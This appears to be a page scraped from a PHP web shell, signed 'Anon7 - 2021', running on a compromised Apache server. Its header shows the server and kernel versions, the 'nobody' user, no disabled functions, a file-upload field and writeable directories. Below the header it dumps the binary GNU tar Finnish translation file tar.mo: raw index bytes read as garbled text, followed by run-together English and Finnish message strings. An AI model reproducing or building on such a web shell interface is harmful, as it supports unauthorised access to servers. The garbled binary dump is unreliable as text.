KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /usr/share/locale/fi/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/locale/fi/LC_MESSAGES/tar.mo
%|
(5"$
-;/X;)?Xi:"6^2X,=2j14#b(j",>O"1#!77Y.!%,<i%,- &)P(c
%;8/t/)5,Ly+F3)@"j50>P0p!+!) #K "o   @ ,!0!D!Z! n!!!!!'!#
"%.",T""2""!""##6#L#a#~##
#####$+/$-[$>$$$$%%*6%a%w%%%%0%+%1$&V&p&*&&&&0&%',=''j''''''((*((+S(&(((%(()))#)&*C*LO*****	+V++,,+,B,^,u,,D,>,2-3F-.z----
--.
#.
..<.\.q..#......0/N/B01311#2(42!]2/2>2,2@3-\33.3%3/3"4"54X4En4.4K4q/55555d62m6/6C6F75[7x7+
8/68xf8-8Y
9<g99%9B9'#:(K:>t::: :*; :;,[;);%;$;);*'<(R<%{<<0<"<"=4=6=>=U=h=y==D=>==4>"r>9>D><?/Q?<?]?P@9m@@6@=@6ATQAAEA
B*B'JB1rB$B&B>B /CPCQcC;CCDD =D^D'pD6D=D'
E*5E5`EENEE,	F	6F+@FlFFF(FFFG0GKGfG'}GG>GBHGDH,H"HH
H)H;"I^I$}II&I?ID)J,nJJJ2JK(KBK4NK'K2K%KL"!LDL.cL&L
L$L5L/M)OMyMM MM+iN%N!N.N*O	7OTAO&O1O$OP2PcP4Q	QQ[QyQ&Q'Q%Q%R?2R8rRR<R;SCSES'_S
SS S	S
S)ST$*TOT!^TT$TTT1TGU4-w>?k:_csPn.=6{R	+N8\MXfO#!;U@2ZbWeET%5,BIph0z93^|(uLd "`'}&
[~mKDG*lt1FvgSr/H
x)JoC]Vajy<7$YAQiq
Report bugs to <%s>.
 link to %s
 n [name]   Give a new file name for the next (and subsequent) volume(s)
 q          Abort tar
 !          Spawn a subshell
 ?          Print this list
 unknown file type %s
%s is not continued on this volume%s is the wrong size (%s != %s + %s)%s: Cannot %s%s: Cannot change mode to %s%s: Cannot change ownership to uid %lu, gid %lu%s: Cannot create symlink to %s%s: Cannot extract -- file is continued from another volume%s: Cannot hard link to %s%s: Cannot remove%s: Cannot rename to %s%s: Cannot seek to %s%s: Cannot symlink to %s%s: Deleting %s
%s: Directory has been renamed%s: Directory is new%s: Directory renamed before its status could be extracted%s: File removed before we read it%s: File shrank by %s byte%s: File shrank by %s bytes%s: File shrank by %s byte; padding with zeros%s: File shrank by %s bytes; padding with zeros%s: Invalid archive format%s: Invalid group%s: Not found in archive%s: Omitting%s: Read error at byte %s, reading %lu byte%s: Read error at byte %s, reading %lu bytes%s: Required occurrence not found in archive%s: Unexpected inconsistency when making directory%s: Unknown file type '%c', diffed as normal file%s: Unknown file type '%c', extracted as normal file%s: Unknown file type; file ignored%s: Volume label is too long (limit is %lu byte)%s: Volume label is too long (limit is %lu bytes)%s: Warning: Cannot %s%s: Warning: Cannot seek to %s%s: Warning: Read error at byte %s, reading %lu byte%s: Warning: Read error at byte %s, reading %lu bytes%s: Was unable to backup this file%s: Wrote only %lu of %lu byte%s: Wrote only %lu of %lu bytes%s: contains invalid volume number%s: door ignored%s: file changed as we read it%s: file is on a different filesystem; not dumped%s: file is the archive; not dumped%s: file is unchanged; not dumped%s: file name is too long (cannot be split); not dumped%s: file name is too long (max %d); not dumped%s: illegal option -- %c
%s: implausibly old time stamp %s%s: invalid option -- %c
%s: link name is too long; not dumped%s: option `%c%s' doesn't allow an argument
%s: option `%s' is ambiguous
%s: option `%s' requires an argument
%s: option `--%s' doesn't allow an argument
%s: option `-W %s' doesn't allow an argument
%s: option `-W %s' is ambiguous
%s: option requires an argument -- %c
%s: socket ignored%s: time stamp %s is %lu s in the future%s: unrecognized option `%c%s'
%s: unrecognized option `--%s'
'(pipe)--Continued at byte %s--
--Long Link--
--Long Name--
--Mangled file names--
--Volume Header--
--occurrence cannot be used in the requested operation mode--occurrence is meaningless without a file list--pax-option can be used only on POSIX archivesA lone zero block at %sArchive base-256 value is out of %s rangeArchive contains %.*s where numeric %s value expectedArchive contains obsolescent base-64 headersArchive not labeled to match %sArchive octal value %.*s is out of %s rangeArchive octal value %.*s is out of %s range; assuming two's complementArchive signed base-64 string %s is out of %s rangeArchive value %s is out of %s range %s.%sAt beginning of tape, quitting nowAttempting extraction of symbolic links as hard linksBlanks in header where numeric %s value expectedCannot allocate buffer spaceCannot backspace archive file; it may be unreadable without -iCannot change working directoryCannot combine --listed-incremental with --newerCannot execute remote shellCannot save working directoryCannot update compressed archivesCannot use multi-volume compressed archivesCannot verify compressed archivesCannot verify multi-volume archivesCannot verify stdin/stdout archiveConflicting compression optionsContents differCould only read %lu of %lu byteCould only read %lu of %lu bytesCowardly refusing to create an empty archiveCreating directory:Current `%s' is newerDate file not foundDeleting non-header from archiveDevice number differsDevice number out of rangeEOF where user reply was expectedError exit delayed from previous errorsError in writing to standard outputError is not recoverable: exiting nowExtracting contiguous files as regular filesFile type differsGNU features wanted on incompatible archive formatGarbage commandGenerating negative octal headersGid differsInode number out of rangeInvalid blocking factorInvalid device numberInvalid inode numberInvalid mode given on optionInvalid numberInvalid number of elementsInvalid ownerInvalid record sizeInvalid tape lengthInvalid time stampInvalid value for record_sizeKeyword %s cannot be overriddenKeyword %s is unknown or not yet imlementedMalformed extended header: missing equal signMalformed extended header: missing whitespace after the lengthMissing file name after -CMissing links to '%s'.
Mod time differsMode differsMore than one threshold dateMultiple archive files require `-M' optionNo archive name givenNo new volume; exiting.
Not linked to %sOld option `%c' requires an argument.Options `-%s' and `-%s' both want standard inputOptions `-Aru' are incompatible with `-f -'Options `-[0-7][lmh]' not supported by *this* tarPattern %s cannot be usedPremature end of filePrepare volume #%d for %s and hit return: Read %s bytes from %sRead checkpoint %dReading %s
Record size = %lu blockRecord size = %lu blocksRecord size must be a multiple of %d.Removing leading `%s' from hard link targetsRemoving leading `%s' from member namesRenamed %s to %sRenaming %s back to %s
Renaming %s to %s
Seek direction out of rangeSeek offset out of rangeSize differsSkipping to next headerSubstituting %s for unknown date format %sSubstituting `.' for empty hard link targetSubstituting `.' for empty member nameSymlink differsSymlinked %s to %sThis does not look like a tar archiveThis program comes with NO WARRANTY, to the extent permitted by law.
You may redistribute it under the terms of the GNU General Public License;
see the file named COPYING for details.This volume is out of sequenceTime stamp out of rangeToo many errors, quittingTotal bytes written: %s (%s, %s/s)
Try `%s --help' for more information.
Uid differsUnaligned block (%lu byte) in archiveUnaligned block (%lu bytes) in archiveUnexpected EOF in archiveUnexpected EOF in mangled namesUnknown demangling command %sUnknown system errorUsage: %s [OPTION]
Manipulate a tape drive, accepting commands from a remote process.

  --version  Output version info.
  --help  Output this help.
VERIFY FAILURE: %d invalid header detectedVERIFY FAILURE: %d invalid headers detectedValid arguments are:Verify Visible long name errorVisible longname errorVolume %s does not match %sVolume number overflowWARNING: Archive is incompleteWARNING: No volume headerWarning: the -I option is not supported; perhaps you meant -j or -T?Warning: the -y option is not supported; perhaps you meant -j?Write checkpoint %dYou may not specify more than one `-Acdtrux' optionYou must specify one of the `-Acdtrux' options``%s' command failedambiguous argument %s for %sblock %s: block %s: ** Block of NULs **
block %s: ** End of File **
block sizechild processexec/tcp: Service not availableinterprocess channelinvalid argument %s for %smemory exhaustedrmtd: Cannot allocate buffer space
rmtd: Garbage command %c
rmtd: Premature eof
stdinstdoutvalue %s out of %s range %s..%svalue %s out of %s range %s..%s; substituting %sProject-Id-Version: tar 1.14
Report-Msgid-Bugs-To: bug-tar@gnu.org
POT-Creation-Date: 2004-12-21 17:11+0200
PO-Revision-Date: 2004-06-26 15:45+0300
Last-Translator: Lauri Nurmi <lanurmi@iki.fi>
Language-Team: Finnish <translation-team-fi@lists.sourceforge.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n != 1);

Ohjelmistovioista voi ilmoittaa (englanniksi) osoitteeseen
<%s>.
 linkki tiedostoon %s
 n [nimi]   Anna uusi tiedostonimi seuraavalle (ja tuleville) arkiston
            osalle/osille
 q          Keskeytä tar
 !          Käynnistä alikuori
 ?          Näytä tämä lista
 tuntematon tiedostotyyppi %s
%s ei jatku tällä arkiston osalla%s on väärän kokoinen (%s != %s + %s)%s: Toimintoa %s ei voi suorittaa%s: Oikeuksien muuttaminen tilaan %s ei onnistu%s: Tiedoston omistusta ei voi muuttaa arvoon uid=%lu, gid=%lu%s: Tiedostoon %s ei voida luoda symlinkkiä%s: Ei voi purkaa -- tiedosto on jatkoa toisesta arkiston osasta%s: Kovaa linkkiä tiedostoon %s ei voi luoda%s: Ei voi poistaa%s: Uudelleennimeäminen nimelle %s ei onnistu%s: Siirtyminen kohtaan %s ei onnistu%s: Symlinkittäminen tiedostoksi %s ei onnistu%s: Poistetaan %s
%s: Hakemisto on nimetty uudelleen%s: Hakemisto on uusi%s: Hakemisto nimettiin uudelleen ennen kuin sen tilaa voitiin purkaa%s: Tiedosto oli poistettu ennen sen lukemista%s: Tiedosto kutistui %s tavun verran%s: Tiedosto kutistui %s tavun verran%s: Tiedosto kutistui %s tavun verran, tasataan nollilla%s: Tiedosto kutistui %s tavun verran, tasataan nollilla%s: Virheellinen arkistomuoto%s: Virheellinen ryhmä%s: Ei löytynyt arkistosta%s: Jätetään pois%s: Lukuvirhe tavun %s kohdalla, luetaan %lu tavu%s: Lukuvirhe tavun %s kohdalla, luetaan %lu tavua%s: Vaadittua esiintymää ei löytynyt arkistosta%s: Odottamaton ristiriita luotaessa hakemistoa%s: Tuntematon tiedostotyyppi "%c", vertailtu normaalina tiedostona%s: Tuntematon tiedostotyyppi "%c", purettiin normaaliksi tiedostoksi.%s: Tuntematon tiedostotyyppi, tiedostoa ei huomioida%s: Arkiston osan nimiö on liian pitkä (raja on %lu tavu)%s: Arkiston osan nimiö on liian pitkä (raja on %lu tavua)%s: Varoitus: Toimintoa %s ei voi suorittaa%s: Varoitus: Siirtyminen kohtaan %s ei onnistu%s: Varoitus: Lukuvirhe tavun %s kohdalla, luetaan %lu tavu%s: Varoitus: Lukuvirhe tavun %s kohdalla, luetaan %lu tavua%s: Tätä tiedostoa ei voitu varmuuskopioida%s: Kirjoitettiin vain %lu tavua %lu tavusta%s: Kirjoitettiin vain %lu tavua %lu tavusta%s: sisältää virheellisen arkiston osan järjestysnumeron%s: ovea ei huomioida%s: tiedosto muuttui lukemisen aikana%s: tiedosto ei ole samalla tiedostojärjestelmällä, ei lisätä%s: tiedosto on arkistossa, ei lisätä%s: tiedosto on muuttumaton, ei lisätä%s: tiedostonimi on liian pitkä (ei voida jakaa), ei lisätä%s: tiedostonimi on liian pitkä (maksimi %d), ei lisätä%s: virheellinen valitsin -- %c
%s: epätodennäköisen vanha aikaleima %s%s: virheellinen valitsin -- %c
%s: linkin nimi on liian pitkä, ei lisätä%s: valitsin "%c%s" ei salli argumenttia
%s: valitsin "%s" on moniselitteinen
%s: valitsin "%s" vaatii argumentin
%s: valitsin "--%s" ei salli argumenttia
%s: valitsin "-W %s" ei salli argumenttia
%s: valitsin "-W %s" on moniselitteinen
%s: valitsin vaatii argumentin -- %c
%s: pistoketta ei huomioida%s: aikaleima %s on %lu sekuntia tulevaisuudessa%s: tunnistamaton valitsin "%c%s"
%s: tunnistamaton valitsin "--%s"
"(putki)--Jatkuu tavusta %s--
--Pitkä linkki--
--Pitkä nimi--
--Sovitetut tiedostonimet--
--Arkiston osan otsake--
valitsinta --occurence ei voi käyttää pyydetyssä toimintatilassavalitsin --occurence on merkityksetön ilman tiedostoluetteloaValitsinta --pax-option voi käyttää vain POSIX-arkistoilleYksinäinen nollalohko kohdassa %sArkiston base-256-arvo on sallitun %s-välin ulkopuolellaArkisto sisältää merkkijonon %.*s, odotettiin numeerista %s-arvoaArkisto sisältää käytöstä poistuvia base-64-otsakkeitaArkistoa ei ole nimetty vastaamaan nimiötä %sArkiston oktaaliarvo %.*s on sallitun %s-välin ulkopuolellaArkiston oktaaliarvo %.*s on sallitun %s-välin ulkopuolella, oletetaan kahden komplementiksiArkiston etumerkillinen base-64-merkkijono %s on sallitun %s-välin ulkopuolellaArkiston arvo %s on sallitun %s-välin %s.%s ulkopuolellaNauhan alussa, lopetetaanYritetään purkaa symboliset linkit koviksi linkeiksiTyhjiä merkkejä otsakkeessa, odotettiin numeerista %s-arvoaPuskuritilaa ei voi varataArkistossa ei voi siirtyä taaksepäin; sitä ei ehkä voi lukea ilman valitsinta -iTyöhakemistoa ei voi vaihtaaValitsimia --listed-incremental ja --newer ei voi käyttää yhdessäEtäkuorta ei voi käynnistääTyöhakemistoa ei voi tallentaaPakattuja arkistoja ei voi päivittääPakattuja moniosaisia arkistoja ei voi käyttääPakattuja arkistoja ei voi varmistaaMoniosaisia arkistoja ei voi tarkastaaVakiosyötteessä/tulosteessa olevaa arkistoa ei voi varmistaaRistiriitaiset pakkausvalitsimetSisällöt eroavatVoitiin lukea vain %lu tavua %lu tavustaVoitiin lukea vain %lu tavua %lu tavustaKieltäydytään pelkurimaisesti luomasta tyhjää arkistoaLuodaan hakemisto:Nykyinen "%s" on uudempiPäiväystiedostoa ei löytynytPoistetaan epäotsake arkistostaLaitenumero eroaaLaitenumero ei ole sallitulla välilläTiedoston loppu odotetun käyttäjän syötteen sijaanViivästetty virhepoistuminen johtuu aikaisemmista virheistäVirhe kirjoitettaessa vakiotulosteeseenVirhe ei ole korjattavissa, poistutaan nytPuretaan jatkuvat tiedostot normaaleiksi tiedostoiksiTiedoston tyyppi eroaaHaluttiin käyttää GNU-ominaisuuksia yhteensopimattoman arkistomuodon kanssaRoskakomentoLuodaan otsakkeet negatiivisilla oktaaleillaGID eroaaI-solmun numero ei ole sallitulla välilläVirheellinen lohkomiskerroinVirheellinen laitenumeroVirheellinen i-solmun numeroValitsimelle annettiin virheellinen tilaVirheellinen määräVirheellinen osien määräVirheellinen omistajaVirheellinen tietueen kokoVirheellinen nauhan pituusVirheellinen aikaleimaVirheellinen arvo kentälle record_sizeAvainsanaa %s ei voi ohittaaAvainsana %s on tuntematon tai sillä ei vielä ole toteutustaVäärän muotoinen laajennettu otsake: yhtäsuuruusmerkki puuttuuVäärän muotoinen laajennettu otsake: tyhje puuttuu pituuden jälkeenPuuttuva tiedostonimi valitsimen -C jälkeenPuuttuvat linkit tiedostoon "%s".
Muutosaika eroaaTila eroaaAnnettu useampi kuin yksi kynnyspäiväysUsean arkistotiedoston käyttäminen vaatii valitsimen "-M"Arkiston nimeä ei ole annettuEi uutta arkiston osaa, poistutaan.
Ei ole linkitetty tiedostoon %sVanha valitsin "%c" vaatii argumentin.Kumpikin valitsimista "-%s" ja "-%s" käyttää vakiosyötettäValitsimet "-Aru" eivät ole yhteensopivia valitsinten "-f -" kanssa*Tämä* tar ei tue valitsimia "-[0-7][lmh]"Hahmoa %s ei voi käyttääEnnenaikainen tiedoston loppuValmistele osa #%d arkistolle %s ja paina return: Luettiin %s tavua arkistosta %sLuetaan tarkistuspiste %dLuetaan %s
Tietueen koko = %lu lohkoTietueen koko = %lu lohkoaTietueen koon on oltava %d:n monikerta.Poistetaan "%s" kovien linkkien kohdenimien alustaPoistetaan "%s" tiedostonimien alustaNimettiin uudelleen %s -> %sNimetään %s takaisin nimelle %s
Nimetään uudelleen %s -> %s
Siirtymän suunta sallitun välin ulkopuolellaSiirtymä sallitun välin ulkopuolellaKoko eroaaSiirrytään seuraavaan otsakkeeseenKorvataan tuntematon päiväysmuoto %2$s arvolla %1$sKorvataan "." tyhjällä kovan linkin kohteellaKorvataan "." tyhjällä tiedostonimelläSymlinkki eroaaSymlinkitettiin %s -> %sTämä ei näytä tar-arkistoltaTällä ohjelmalla EI lain sallimissa rajoissa OLE TAKUUTA.
Ohjelmaa saa levittää GNU:n General Public Licensen mukaisesti;
katso lisätietoja tiedostosta COPYING.Tämä arkiston osa ei ole järjestyksessäAikaleima ei ole sallitulla välilläLiian monta virhettä, lopetetaanKirjoitettuja tavuja yhteensä: %s (%s, %s/s)
Komento "%s --help" antaa lisää tietoa.
UID eroaaKohdistamaton lohko (%lu tavu) arkistossaKohdistamaton lohko (%lu tavua) arkistossaOdottamaton tiedoston loppu arkistossaOdottamaton tiedoston loppu sovitetuissa nimissäTuntematon takaisinsovituskomento %sTuntematon järjestelmävirheKäyttö: %s [VALITSIN]
Käsittele nauha-asemaa, hyväksyen komentoja etäprosessilta.

  --version  Näytä versiotiedot.
  --help     Näytä tämä ohje.
TARKASTUSVIRHE: havaittu %d virheellinen otsakeTARKASTUSVIRHE: havaittu %d virheellistä otsakettaKelvolliset argumentit ovat:Tarkasta Näkyvän pitkän nimen virheNäkyvän pitkän nimen virheArkiston osa %s ei vastaa nimiötä %sArkisto-osan järjestysnumeron ylivuotoVAROITUS: Arkisto on epätäydellinenVAROITUS: Arkisto-osan otsake puuttuuVaroitus: valitsin -I ei ole tuettu, ehkä tarkoitit -j tai -T?Varoitus: valitsin -y ei ole tuettu, ehkä tarkoitit -j?Kirjoitetaan tarkistuspiste %dVain yhtä valitsimista "-Acdtrux" voi käyttää kerrallaanVähintään yhtä valitsimista "-Acdtrux" on käytettävä"Komento "%s" epäonnistuiargumentti %s on moniselitteinen %s:llelohko %s: lohko %s: ** NUL-lohko **
lohko %s: ** Tiedoston loppu **
lohkokokolapsiprosessiexec/tcp: Palvelu ei ole käytettävissäprosessienvälinen kanavaargumentti %s on virheellinen %s:llemuisti lopussarmtd: Puskuritilaa ei voi varata
rmtd: Roskakomento %c
rmtd: Ennenaikainen tiedoston loppu
vakiosyötevakiotulostearvo %s on sallitun %s-välin %s..%s ulkopuolellaarvo %s on sallitun %s-välin %s..%s ulkopuolella, korvataan arvolla %s

Anon7 - 2021